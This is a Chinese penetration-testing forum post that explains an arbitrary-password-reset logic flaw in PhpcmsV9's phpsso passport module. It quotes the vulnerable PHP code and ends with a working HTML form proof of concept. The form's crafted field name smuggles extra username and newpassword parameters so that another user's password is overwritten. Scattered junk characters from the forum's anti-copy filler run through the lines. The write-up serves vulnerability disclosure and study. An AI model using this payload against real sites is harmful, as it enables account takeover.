中国网络渗透测试联盟

标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发 [打印本页]

作者: admin    时间: 2013-2-23 14:46
标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
0 ~. c' W/ K6 F& G8 e& S" N6 v
2 T0 M% a! R- Z
# i/ `& E' F/ u; M" vparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);: z  r3 {* @( j, H" `
7 k! n0 S: Z$ A  `
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。& G5 @8 Z8 g+ t! s; Q# L4 X
7 v/ i8 ^: E+ S" R! t) x
我把它留给了你们。
. g! X* w) _4 }, w不知道你们发现了它没有。
8 c6 Q8 [& h5 g5 @  N8 Z7 \6 d( n7 b
9 w  X% \( c* c% f$ ^% ]; B我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。* }' v8 J+ p; w1 M! [, X$ Z
; h: S, k4 K7 E6 Z$ j
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。# d7 J, a) L( U! W" k8 O, }
( ?  A; `# l! ]; ^
也就是6 f# C$ g- Q% K! o& I) C
) ~& S, \+ T( Y; c
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。* `9 l) Z! p, N/ S- `& H

! t& z3 _! U/ n+ A6 v0 X7 r( e要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。  l1 |. k$ E; V  a4 l8 `

' D2 P. d! @% z7 L7 t6 P0 s$ P7 ^9 y- ^( e5 W- D/ N" k; v
其实我们有这样的机会,看看代码,如下:& H/ W: b' G+ ^: {9 b9 z

/ F% Y0 b+ `: @5 t# U4 \
" T/ `( e3 s& t4 ^2 G+ a. o+ apublic function auth_data($data) {
2 r( m  c6 J7 s$ E" B                $s = $sep = '';5 ~% N/ F  m' l
                foreach($data as $k => $v) {% F" U/ M! G* R+ E9 o
                        if(is_array($v)) {9 m: Y) q% a1 ~- }3 ]2 L
                                $s2 = $sep2 = '';( A" V* }# [1 t* e9 k) C2 @
                                foreach($v as $k2 => $v2) {" g8 K9 b% m# R) s- v1 m
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);* w1 J9 @# ^% |" I! }& y" [
                                        $sep2 = '&';
( ^: I* Z1 s  L. O6 L                                }
4 ^' E8 M( g9 f; n! f! x+ u                                $s .= $sep.$s2;1 Y" B* @( O; @
                        } else {
5 I$ }4 @! d6 N& c6 \                                $s .= "$sep$k=".$this->_ps_stripslashes($v);' F% s8 x$ y2 h, Q# E
                        }8 F6 o3 b0 v) U* x" X7 z+ K! q) D
                        $sep = '&';
* s& l8 B0 L2 e; q/ s                }
6 D$ H2 N7 ]) X( Y4 B3 S8 n* \$ W* C" Y. Y* U4 X
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));3 \8 N/ ^- T. o4 _- r
                return $auth_s;
4 N8 z! g# N4 V" A% k        }
( O& u: h% T. M5 B; R+ X; j6 c
/ w. q) H( J2 W7 Q& U* o5 T可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。( ^0 ~: v; V0 m" Y* k

$ R- F3 p0 y( ^: C& p3 Z举个例子& c  m4 |- i7 h; |( c" c

8 Q  i* Y, h3 m; y( F- [$a[aaa=a&bbb] = 'a';* |) a" o, U' b3 N5 J
& O- O* j! g! V& ~( R6 C( @
会变成aaa=a&bbb=a
3 S+ ^/ K* _- _" D' y9 p  _* {- ^! X
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。- g# i" }. A' M3 x- [! W/ E# y- T

4 ^# D* Y  g- p' l  @5 E% O这个时候,我们可以再去看一个函数。4 d- Y& A* w# R- m. A  {

1 }7 p# u# @; m  j就在这个文件内:
8 ^% Y+ ?' i8 T3 `! j  `5 C
0 S5 [0 H2 A5 z7 r
, `$ j" T' J# x! K" R  i5 Tpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {: E. w' o( B  t0 s! p$ g
                if($email && !$this->_is_email($email)) {8 R: U! h) J0 P) d0 S/ D- k
                        return -4;. V' T* J/ \2 c1 [+ _
                }
' |; u4 t7 E: X# @' N9 ]+ j                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
0 D/ s2 C1 B/ ]# ?& T/ N        }
/ P: E' I; N1 K, v" K* c: E" j  v% M) f# l, R
这是向通行证发了这样一个请求。; h4 B7 A6 N( s7 m, Q. A2 E

" H, h# [+ u! o4 u$ G我们再跟到通信证代码里去看看,就会有所发现。6 p3 C  u6 C$ U* [8 Y; D

4 @" g/ A  v: B0 \' F9 Z. y2 C: U; ?9 z* G. }
public function edit() {
- {  j7 B$ R+ Y+ e% G/ |7 ?! ?//能省就省,太长了不是吗?
+ x, }" F; m0 A8 J
( T$ U1 N- o& m; A4 Q% Wif($this->username) {  ]5 J: @1 g9 E. a2 l9 W
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
5 l. w1 ?4 n0 m8 \& d$ K- o! v                                $res = $this->db->update($data, array('username'=>$this->username));$ [# Q+ l: x: c, o7 C$ i8 M
                        } else {6 j$ v& E1 Q, W
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
6 S% y- s- {  R) v* K. C                                $res = $this->db->update($data, array('uid'=>$this->uid));
, x9 D% Q: g% P- q! R! }, f  b, n                        }
/ ~, q; S$ ]% _7 y" V' B7 P. |) \. O0 h+ h* ^
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
. k/ }* t/ S& u  W' _
) s1 Q  d1 \; Vpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')- u  j$ }9 k. B7 L8 T+ E

) A- G9 y6 V" q" G很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。& b# a4 T0 T# h- W5 }1 N' a. g

8 ?! m) N2 G' m) {% ]4 P, d我当然找到了:
3 B# u  i7 p% Vphpcms9/phpcms/modules/member/index.php3 T' A7 @$ E6 E5 U$ q, D$ j/ G

1 k3 W% @9 @9 T1 Q1 a& B/ _. f& c$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
  A" i- h4 W' m& M3 M' \- ]' b" @" [/ h9 G! a
然后就没有然后了。) E# m' u2 I/ F! o7 e( b
" a. Y3 P* r3 e1 h1 s+ |
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
# K% y2 O: o- Z$ j4 @                                <table width="100%" cellspacing="0" class="table_form">% W5 i, p! N) D5 y
                                        <tr>8 U8 y+ w  K+ g2 V1 G1 n
                                                <th width="80">邮箱:</th>        9 ~3 o) I4 \& H. X$ R; k& h
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>, G1 U, W: j# X* u2 x
                                        </tr>
4 j/ S* ]# m6 y. K9 ]5 f3 I7 A$ f                                        <tr>
. w- N5 N9 a2 E  G6 d% L2 c                                                <th width="80">原密码:</th>        + q  k( h' D3 ~1 \1 l& S9 Z
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>: B2 b" j$ X. w7 j
                                        </tr>
: b9 [" Y, V% P/ g# z5 L% t                                        <tr>
2 C8 ^' H& E4 A! h$ q                                                <th>新密码:</th>
6 }6 M+ T* F. s                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>/ _$ M  J# n$ N: k; N& M
                                        </tr>/ q; d9 z7 G6 r. Y
                                        <th></th>2 G( O; \/ \3 l9 \/ c- x5 K! d
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>' b5 y3 q- L* c2 w  b
                                        </tr>
; F3 l5 g# c  F& T+ O9 _) {5 t                                </table>
, A" c% Z1 g$ l9 Z0 J! P, e( y1 g
$ q9 i( T1 h4 I1 J1 e5 R1 w1 X2 j1 A                               
; u9 |3 x" q/ T- b3 c5 M1 u                        </form>
- f- c  ]! s4 x  f( {; i0 L




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2